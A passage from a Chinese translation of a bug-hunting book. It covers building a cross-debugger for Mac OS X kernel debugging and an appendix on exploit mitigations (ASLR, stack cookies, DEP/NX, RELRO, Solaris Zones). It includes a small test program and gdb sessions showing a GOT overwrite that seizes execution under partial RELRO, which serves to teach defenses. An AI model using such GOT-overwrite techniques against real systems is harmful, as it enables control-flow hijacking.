patching file gdb/mi/mi-cmd-stack.c
我使用以下命令构建必要的库:
linux$ `su`
Password:
linux# `pwd`
/home/tk/gdb-292/src
linux# `cd readline`
linux# `./configure; make`
linux# `cd ../bfd`
linux# `./configure --target=i386-apple-darwin`
`--program-suffix=_osx; make;` → `make install`
linux# `cd ../mmalloc`
linux# `./configure; make; make install`
linux# `cd ../intl`
linux# `./configure; make; make install`
linux# `cd ../libiberty`
linux# `./configure; make; make install`
linux# `cd ../opcodes`
linux# `./configure --target=i386-apple-darwin --program`
`-suffix=_osx; make;` → `make install`
要构建调试器本身,我需要将一些头文件从 XNU 内核源代码复制到 Linux 主机的 include 目录:
linux# `cd /home/tk`
linux# `tar -zxvf xnu-792.13.8.tar.gz`
linux# `cp -R xnu-792.13.8/osfmk/i386/ /usr/include/`
linux# `cp -R xnu-792.13.8/bsd/i386/ /usr/include/`
cp: overwrite `/usr/include/i386/Makefile'? `y`
cp: overwrite `/usr/include/i386/endian.h'? `y`
cp: overwrite `/usr/include/i386/exec.h'? `y`
cp: overwrite `/usr/include/i386/setjmp.h'? `y`
linux# `cp -R xnu-792.13.8/osfmk/mach /usr/include/`
然后,我在新的 _types.h 文件中注释了一些 typedef 以避免编译时冲突(见第 39 行,第 43 至 49 行,以及第 78 至 81 行):
linux# `vi +38 /usr/include/i386/_types.h`
[..]
38 #ifdef __GNUC__
`39 // typedef __signed char __int8_t;`
40 #else /* !__GNUC__ */
41 typedef char __int8_t;
42 #endif /* !__GNUC__ */
`43 // typedef unsigned char __uint8_t;`
`44 // typedef short __int16_t;`
`45 // typedef unsigned short __uint16_t;`
`46 // typedef int __int32_t;`
`47 // typedef unsigned int __uint32_t;`
`48 // typedef long long __int64_t;`
`49 // typedef unsigned long long __uint64_t;`
..
`78 //typedef union {`
`79 // char __mbstate8[128];`
`80 // long long _mbstateL; /* for alignment */`
`81 //} __mbstate_t;`
[..]
我在文件 /home/tk/gdb-292/src/gdb/macosx/i386-macosx-tdep.c 中添加了一个新的 include(见第 24 行):
linux# `vi +24 /home/tk/gdb-292/src/gdb/macosx/i386-macosx-tdep.c`
[..]
`24 #include <string.h>`
25 #include "defs.h"
26 #include "frame.h"
27 #include "inferior.h"
[..]
最后,我使用以下命令编译了调试器:
linux# `cd gdb-292/src/gdb/`
linux# `./configure --target=i386-apple-darwin --program-suffix=_osx --disable-gdbtk`
linux# `make; make install`
编译完成后,我以 root 身份运行了新的调试器,以便在 /usr/local/bin/ 下创建必要的目录:
linux# `cd /home/tk`
linux# `gdb_osx -q`
(gdb) `quit`
之后,调试器就准备好了。
第 4 步:准备调试环境
我在 Mac OS X 下解压了下载的内核调试工具包磁盘映像文件(dmg),使用 scp 将文件传输到 Linux 主机,并将目录命名为 KernelDebugKit_10.4.8。我还将 XNU 源代码复制到调试器的搜索路径中:
linux# `mkdir /SourceCache`
linux# `mkdir /SourceCache/xnu`
linux# `mv xnu-792.13.8 /SourceCache/xnu/`
在 第七章 中,我描述了如何使用新构建的内核调试器连接到 Mac OS X 机器。
备注
^([91])
^([92])
^([93])
^([94])
^([95])
^([96])
^([97])
^([98])
^([99])
^([91]) 查看 Solaris Modular Debugger Guide 在 dlc.sun.com/osol/docs/content/MODDEBUG/moddebug.html.
^([92]) 查看 www.vmware.com/.
^([93]) 查看 www.microsoft.com/whdc/DevTools/Debugging/default.mspx.
^([94)) 查看 www.gnu.org/software/gdb/documentation/。
^([95)) 仍然有一些可用的下载镜像站点,您可以从那里获取 Red Hat 7.3 ISO 镜像。以下是一些,截至本文撰写时:ftp-stud.hs-esslingen.de/Mirrors/archive.download.redhat.com/redhat/linux/7.3/de/iso/i386/,mirror.fraunhofer.de/archive.download.redhat.com/redhat/linux/7.3/en/iso/i386/,以及 mirror.cs.wisc.edu/pub/mirrors/linux/archive.download.redhat.com/redhat/linux/7.3/en/iso/i386/。
^([96]) 您可以从 www.opensource.apple.com/tarballs/gdb/gdb-292.tar.gz 下载苹果定制的 gdb 版本。
^([97)) 您可以从 ftp.gnu.org/pub/gnu/gdb/gdb-5.3.tar.gz 下载 GNU 的标准 gdb 版本。
^([98)) 苹果 GNU 调试器的补丁可以在 www.trapkit.de/books/bhd/osx_gdb.patch 获取。
^([99)) XNU 版本 792.13.8 可以从 www.opensource.apple.com/tarballs/xnu/xnu-792.13.8.tar.gz 下载。
附录 C. 缓解
本附录包含有关缓解技术的信息。
C.1 利用缓解技术
目前可用的各种利用缓解技术和机制旨在尽可能使利用内存损坏漏洞变得困难。最常见的是这些:
-
地址空间布局随机化 (ASLR)
-
安全 cookie (/GS)、栈破坏保护 (SSP) 或栈 canary
-
数据执行预防 (DEP) 或 No eXecute (NX)
还有其他与操作系统平台、特殊的堆实现或文件格式(如 SafeSEH、SEHOP 或 RELRO)相关的缓解技术。还有各种堆缓解技术(堆 cookie、随机化、安全解除链接等)。
许多缓解技术可以轻易地填满另一本书,所以我将专注于最常见的一些,以及一些用于检测它们的工具。
注意
利用缓解技术和绕过它们的方法之间存在着持续的竞争。即使使用所有这些机制的系统,在特定情况下也可能被成功利用。
地址空间布局随机化 (ASLR)
ASLR 随机化进程空间中关键区域的位置(通常是可执行文件的基址、栈的位置、堆、库等)以防止攻击者预测目标地址。比如说,你发现了一个write4 原始漏洞,这给你提供了将 4 个字节写入你选择的任何内存位置的机会。如果你选择一个稳定的内存位置来覆盖,这将是一个强大的利用。如果启用了 ASLR,找到可靠的内存位置来覆盖就变得困难得多。当然,ASLR 只有在正确实现时才有效。^([[100)])
安全 cookie (/GS)、栈破坏保护 (SSP) 或栈 canary
这些方法通常会在栈帧中注入一个 canary 或 cookie 来保护与过程调用相关的函数元数据(例如,返回地址)。在处理返回地址之前,会检查 cookie 或 canary 的有效性,并将栈帧中的数据重新组织以保护函数的指针和参数。如果你在一个受此缓解技术保护的函数中找到一个栈缓冲区溢出,利用可能会变得困难。^([[101)])
NX 和 DEP
不可执行(NX)位是 CPU 的一项功能,有助于防止从进程的数据页面执行代码。许多现代操作系统都利用了 NX 位。在 Microsoft Windows 中,硬件强制执行的数据执行保护(DEP)在兼容的 CPU 上启用 NX 位,并将进程中的所有内存位置标记为不可执行,除非位置明确包含可执行代码。DEP 是在 Windows XP SP2 和 Windows Server 2003 SP1 中引入的。在 Linux 中,NX 由内核在 AMD 和 Intel 的 64 位 CPU 上强制执行。ExecShield^([102)]和 PaX^([103)]在 Linux 的较老 32 位 x86 CPU 上模拟 NX 功能。
检测利用缓解技术
在尝试绕过这些缓解技术之前,您必须确定应用程序或正在运行的进程实际使用了哪些。
缓解措施可以通过系统策略、特殊 API 和编译时选项进行控制。例如,Windows 客户端操作系统的默认系统级 DEP 策略称为 OptIn。在这种操作模式下,只有明确选择加入 DEP 的进程才会启用 DEP。有几种方法可以将进程加入 DEP。例如,您可以在编译时使用适当的链接器开关(/NXCOMPAT),或者可以使用SetProcessDEPPolicy API 以编程方式允许应用程序加入 DEP。Windows 支持四种系统级硬件强制 DEP 配置。^([104)]在 Windows Vista 和更高版本中,您可以使用bcdedit.exe控制台应用程序来验证系统级 DEP 策略,但必须从提升的 Windows 命令提示符执行此操作。要验证应用程序的 DEP 和 ASLR 设置,您可以使用 Sysinternals 的进程查看器。^([105)]
注意
要配置进程查看器以便显示进程的 DEP 和 ASLR 状态,请将以下列添加到视图中:视图 ▸ 选择列 ▸ DEP 状态 和 视图 ▸ 选择列 ▸ ASLR 启用。此外,将下窗格设置为查看进程的 DLL,并将“ASLR 启用”列添加到视图中(见图 C-1)。
Windows 的新版本(Vista 或更高版本)默认支持 ASLR,但 DLL 和 EXE 必须通过使用/DYNAMICBASE 链接器选项来选择支持 ASLR。需要注意的是,如果进程的所有模块没有全部选择支持 ASLR,那么保护将显著减弱。在实践中,缓解措施(如 DEP 和 ASLR)的有效性在很大程度上取决于每个缓解技术被应用程序完全启用的情况。^([106)]
图 C-1 展示了使用 Process Explorer 观察 Internet Explorer 的 DEP 和 ASLR 设置的示例。请注意,已加载到 Internet Explorer 上下文中的 Java DLL 没有使用 ASLR(在下窗格的 ASLR 列中用空值表示)。微软还发布了一个名为BinScope Binary Analyzer^([107]) 的工具,该工具具有直观、易于使用的界面,用于分析具有各种安全保护的二进制文件。
如果 DEP 和 ASLR 都正确部署,漏洞开发将变得非常困难。
要检查 Windows 二进制文件是否支持安全 cookie (/GS) 缓解技术,你可以使用 IDA Pro 反汇编二进制文件,并在函数后导和前导中查找对安全 cookie 的引用,如图 C-2 所示。

图 C-1. Process Explorer 中显示的 DEP 和 ASLR 状态

图 C-2. 函数前导和后导中的安全 cookie (/GS) 参考(IDA Pro)
要检查 Linux 系统的系统级配置以及 ELF 二进制文件和进程的不同漏洞缓解技术,你可以使用我的checksec.sh^([108]) 脚本。
C.2 RELRO
RELRO 是一种通用的漏洞缓解技术,用于强化 ELF^([109]) 二进制文件或进程的数据部分。ELF 是用于可执行文件和库的常见文件格式,被各种类 UNIX 系统使用,包括 Linux、Solaris 和 BSD。RELRO 有两种不同的模式:
部分 RELRO
-
编译器命令行:
gcc -Wl,-z,relro。 -
ELF 部分被重新排序,以便 ELF 内部数据部分(
.got,.dtors, 等)位于程序的.data 和.bss 数据部分之前。 -
非 PLT GOT 为只读。
-
PLT 相关的 GOT 仍然是可写的。
完全 RELRO
-
编译器命令行:
gcc -Wl,-z,relro,-z,now。 -
支持部分 RELRO 的所有功能。
-
奖励:整个 GOT 被(重新)映射为只读。
部分和完全 RELRO 都会重新排序 ELF 内部数据部分以保护它们,防止在程序数据部分(.data和.bss)的缓冲区溢出时被覆盖,但只有完全 RELRO 缓解了修改 GOT 条目以控制程序执行流的流行技术(参见第 A.4 节)。
为了演示 RELRO 缓解技术,我创建了两个简单的测试用例。我使用了 Debian Linux 6.0 作为平台。
测试用例 1:部分 RELRO
Example C-1") 中的测试程序接受一个内存地址(见第 6 行),并尝试在该地址写入值 0x41414141(见第 8 行)。
Example C-1. 示例代码用于演示 RELRO (testcase.c)
01 #include <stdio.h>
02
03 int
04 main (int argc, char *argv[])
05 {
06 size_t *p = (size_t *)strtol (argv[1], NULL, 16);
07
08 p[0] = 0x41414141;
09 printf ("RELRO: %p\n", p);
10
11 return 0;
12 }
我使用部分 RELRO 支持编译了程序:
linux$ `gcc -g -Wl,-z,relro -o testcase testcase.c`
我随后使用我的 checksec.sh 脚本检查了生成的二进制文件:^([110])
linux$ `./checksec.sh --file testcase`
RELRO STACK CANARY NX PIE FILE
Partial RELRO No canary found NX enabled No PIE testcase
接下来,我使用 objdump 收集了 Example C-1") 中第 9 行使用的 printf() 库函数的 GOT 地址,然后尝试覆盖该 GOT 条目:
linux$ `objdump -R ./testcase | grep printf`
0804a00c R_386_JUMP_SLOT printf
我在 gdb 中启动了测试程序,以便确切地看到发生了什么:
linux$ `gdb -q ./testcase`
(gdb) `run 0804a00c`
Starting program: /home/tk/BHD/testcase 0804a00c
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) `info registers eip`
eip 0x41414141 0x41414141
结果:如果仅使用部分 RELRO 来保护 ELF 二进制文件,仍然有可能修改任意的 GOT 条目以控制进程的执行流程。
测试用例 2:完全 RELRO
这次,我使用完全 RELRO 支持编译了测试程序:
linux$ `gcc -g -Wl,-z,relro,-z,now -o testcase testcase.c`
linux$ `./checksec.sh --file testcase`
RELRO STACK CANARY NX PIE FILE
Full RELRO No canary found NX enabled No PIE testcase
然后,我再次尝试覆盖 printf() 的 GOT 地址:
linux$ `objdump -R ./testcase | grep printf`
08049ff8 R_386_JUMP_SLOT printf
linux$ `gdb -q ./testcase`
(gdb) `run 08049ff8`
Starting program: /home/tk/BHD/testcase 08049ff8
Program received signal SIGSEGV, Segmentation fault.
0x08048445 in main (argc=2, argv=0xbffff814) at testcase.c:8
8 p[0] = 0x41414141;
这次,执行流程在源代码的第 8 行被 SIGSEGV 信号中断。让我们看看原因:
(gdb) `set disassembly-flavor intel`
(gdb) `x/1i $eip`
0x8048445 <main+49>: mov DWORD PTR [eax],0x41414141
(gdb) `info registers eax`
eax 0x8049ff8 134520824
如预期,程序试图在指定的内存地址 0x8049ff8 写入值 0x41414141。
(gdb) `shell cat /proc/$(pidof testcase)/maps`
08048000-08049000 r-xp 00000000 08:01 497907 /home/tk/testcase
`08049000-0804a000 r--p 00000000 08:01 497907 /home/tk/testcase`
0804a000-0804b000 rw-p 00001000 08:01 497907 /home/tk/testcase
b7e8a000-b7e8b000 rw-p 00000000 00:00 0
b7e8b000-b7fcb000 r-xp 00000000 08:01 181222 /lib/i686/cmov/libc-2.11.2.so
b7fcb000-b7fcd000 r--p 0013f000 08:01 181222 /lib/i686/cmov/libc-2.11.2.so
b7fcd000-b7fce000 rw-p 00141000 08:01 181222 /lib/i686/cmov/libc-2.11.2.so
b7fce000-b7fd1000 rw-p 00000000 00:00 0
b7fe0000-b7fe2000 rw-p 00000000 00:00 0
b7fe2000-b7fe3000 r-xp 00000000 00:00 0 [vdso]
b7fe3000-b7ffe000 r-xp 00000000 08:01 171385 /lib/ld-2.11.2.so
b7ffe000-b7fff000 r--p 0001a000 08:01 171385 /lib/ld-2.11.2.so
b7fff000-b8000000 rw-p 0001b000 08:01 171385 /lib/ld-2.11.2.so
bffeb000-c0000000 rw-p 00000000 00:00 0 [stack]
进程的内存映射显示,内存范围 08049000-0804a000,包括 GOT,已成功设置为只读 (r--p)。
结果:如果启用完全 RELRO,尝试覆盖 GOT 地址会导致错误,因为 GOT 部分被映射为只读。
结论
在程序的数据部分(.data 和 .bss)发生缓冲区溢出时,部分和完全 RELRO 都能保护 ELF 内部数据部分不被覆盖。
使用完全 RELRO,可以成功防止修改 GOT 条目。
对于不支持 RELRO 的平台,也有一种通用的方法来实现类似的缓解技术,该技术适用于这些平台.^([111])
C.3 Solaris Zones
Solaris Zones 是一种用于虚拟化操作系统服务并为运行应用程序提供隔离环境的技术。区域 是在单个 Solaris 操作系统实例内创建的虚拟化操作系统环境。当你创建一个区域时,你产生了一个应用程序执行环境,其中进程被隔离于系统其余部分。这种隔离应防止运行在一个区域中的进程监视或影响运行在其他区域中的进程。即使以超级用户凭证运行的进程也不应能够查看或影响其他区域的活动。
术语
有两种不同类型的区域:全局和非全局。全局区域代表传统的 Solaris 执行环境,并且是唯一可以从其中配置和安装非全局区域的区域。默认情况下,非全局区域无法访问全局区域或其他非全局区域。所有区域都有围绕它们的安全边界,并且被限制在文件系统层次结构的自己的子树中。每个区域都有自己的根目录,有独立的进程和设备,并且以比全局区域更少的权限运行。
当 Sun 和 Oracle 推出 Zones 技术时,他们对该技术的安全性非常自信:
注意
我在本节中使用的平台是 Solaris 10 10/08 x86/x64 DVD 完整镜像(sol-10-u6-ga1-x86-dvd.iso),被称为 Solaris 10 Generic_137138-09。
一旦进程被放置在全局区域之外的区域,该进程及其后续的所有子进程都不能更改区域。
网络服务可以在区域中运行。通过在区域中运行网络服务,您可以在安全违规事件中限制可能造成的损害。成功利用区域中运行的软件中的安全漏洞的入侵者将被限制在该区域可能执行的限制性操作集中。区域内的权限是系统整体权限的一个子集。 . .^([112])
进程被限制在权限的子集。权限限制防止区域执行可能影响其他区域的操作。权限集限制了区域内部特权用户的权限。要显示区域内部可用的权限列表,请使用
ppriv实用程序.^([113])
Solaris 区域很棒,但有一个弱点:所有区域(全局和非全局)共享相同的内核。如果内核中存在允许任意代码执行的漏洞,则可能跨越所有安全边界,逃离非全局区域,并损害其他非全局区域或甚至全局区域。为了演示这一点,我录制了一个视频,展示了第三章中描述的漏洞的实际利用。该利用允许非特权用户逃离非全局区域,然后损害所有其他区域,包括全局区域。您可以在本书的网站上找到该视频.^([114])
设置一个非全局的 Solaris 区域
为了设置第三章的 Solaris 区域,我执行了以下步骤(所有步骤都必须在全局区域中以特权用户身份执行):
solaris# `id`
uid=0(root) gid=0(root)
solaris# `zonename`
global
我首先为新的区域创建了一个文件系统区域:
solaris# `mkdir /wwwzone`
solaris# `chmod 700 /wwwzone`
solaris# `ls -l / | grep wwwzone`
drwx------ 2 root root 512 Aug 23 12:45 wwwzone
然后,我使用zonecfg创建新的非全局区域:
solaris# `zonecfg -z wwwzone`
wwwzone: No such zone configured
Use 'create' to begin configuring a new zone.
zonecfg:wwwzone> `create`
zonecfg:wwwzone> `set zonepath=/wwwzone`
zonecfg:wwwzone> `set autoboot=true`
zonecfg:wwwzone> `add net`
zonecfg:wwwzone:net> `set address=192.168.10.250`
zonecfg:wwwzone:net> `set defrouter=192.168.10.1`
zonecfg:wwwzone:net> `set physical=e1000g0`
zonecfg:wwwzone:net> `end`
zonecfg:wwwzone> `verify`
zonecfg:wwwzone> `commit`
zonecfg:wwwzone> `exit`
之后,我使用zoneadm检查了我的操作结果:
solaris# `zoneadm list -vc`
ID NAME STATUS PATH BRAND IP
0 global running / native shared
- wwwzone configured /wwwzone native shared
接下来,我安装并启动了新的非全局区域:
solaris# `zoneadm -z wwwzone install`
Preparing to install zone <wwwzone>.
Creating list of files to copy from the global zone.
Copying <8135> files to the zone.
Initializing zone product registry.
Determining zone package initialization order.
Preparing to initialize <1173> packages on the zone.
Initialized <1173> packages on zone.
Zone <wwwzone> is initialized.
solaris# `zoneadm -z wwwzone boot`
为了确保一切正常,我 ping 了新非全局区域的 IP 地址:
solaris# `ping 192.168.10.250`
192.168.10.250 is alive
要登录到新的非全局区域,我使用了以下命令:
solaris# `zlogin -C wwwzone`
在回答了有关语言和终端设置的问题后,我以 root 身份登录并创建了一个新的非特权用户:
solaris# `id`
uid=0(root) gid=0(root)
solaris# `zonename`
wwwzone
solaris# `mkdir /export/home`
solaris# `mkdir /export/home/wwwuser`
solaris# `useradd -d /export/home/wwwuser wwwuser`
solaris# `chown wwwuser /export/home/wwwuser`
solaris# `passwd wwwuser`
我随后使用这个非特权用户来利用第三章中描述的 Solaris 内核漏洞 Chapter 3。
备注
^([100])
^([101])
^([102])
^([103])
^([104])
^([105])
^([106])
^([107])
^([108])
^([109])
^([110])
^([111])
^([112])
^([113])
^([114])
^([100]) 参见 Rob King 的文章,“新豹安全特性——第一部分:ASLR”,DVLabs Tipping Point (博客),2007 年 11 月 7 日,dvlabs.tippingpoint.com/blog/2007/11/07/leopard-aslr.
^([101]) 参见 Tim Burrell 的文章,“GS Cookie 保护——有效性和局限性”,Microsoft TechNet 博客:安全研究 & 防御 (博客),2009 年 3 月 16 日,blogs.technet.com/srd/archive/2009/03/16/gs-cookie-protection-effectiveness-and-limitations.aspx;“Visual Studio 2010 中增强的 GS”,Microsoft TechNet 博客:安全研究 & 防御 (博客),2009 年 3 月 20 日,blogs.technet.com/srd/archive/2009/03/20/enhanced-gs-in-visual-studio-2010.aspx;IBM 研究部门,“用于防止堆栈破坏攻击的应用程序保护 GCC 扩展”,最后更新于 2005 年 8 月 22 日,researchweb.watson.ibm.com/trl/projects/security/ssp/.
^([102]) 参见 people.redhat.com/mingo/exec-shield/.
^([103]) 参见 PaX 团队的主页 pax.grsecurity.net/ 以及 grsecurity 网站 www.grsecurity.net/.
^([104]) 参见 Robert Hensing 的文章,“理解 DEP 作为缓解技术(第一部分)”,Microsoft TechNet 博客:安全研究 & 防御 (博客),2009 年 6 月 12 日,blogs.technet.com/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx.
^([105]) 参见 technet.microsoft.com/en-en/sysinternals/bb896653/.
^([106]) 更多信息,请参阅 Alin Rad Pop 的 Secunia 研究报告,“流行第三方 Windows 应用程序中的 DEP/ASLR 实现进展”,2010 年,secunia.com/gfx/pdf/DEP_ASLR_2010_paper.pdf。
^([107]) 下载 BinScope 二进制分析器,请访问go.microsoft.com/?linkid=9678113。
^([108]) 请参阅www.trapkit.de/tools/checksec.html。
^([109]) 请参阅 TIS 委员会的工具接口标准(TIS)可执行和链接格式(ELF)规范,版本 1.2,1995 年,refspecs.freestandards.org/elf/elf.pdf。
^([110]) 请参阅上方的注释 9。
^([111]) 请参阅 Chris Rohlf 的“自我保护全局偏移表(GOT)”,草案版本 1.4,2008 年 8 月,code.google.com/p/em386/downloads/detail?name=Self-Protecting-GOT.html。
^([112]) 请参阅“Solaris Zones 简介:非全局区域提供的功能”,系统管理指南:Oracle Solaris 容器—资源管理和 Oracle Solaris Zones,2010 年,download.oracle.com/docs/cd/E19455-01/817-1592/zones.intro-9/index.html。
^([113]) 请参阅“Solaris Zones 管理(概述):非全局区域的权限”,使用 Solaris 操作系统的虚拟化系统管理指南,2010 年,download.oracle.com/docs/cd/E19082-01/819-2450/z.admin.ov-18/index.html。
^([114]) 请参阅www.trapkit.de/books/bhd/。
附录 D. 更新
访问 nostarch.com/bughunter.htm 获取更新、勘误以及其他信息。




浙公网安备 33010602011771号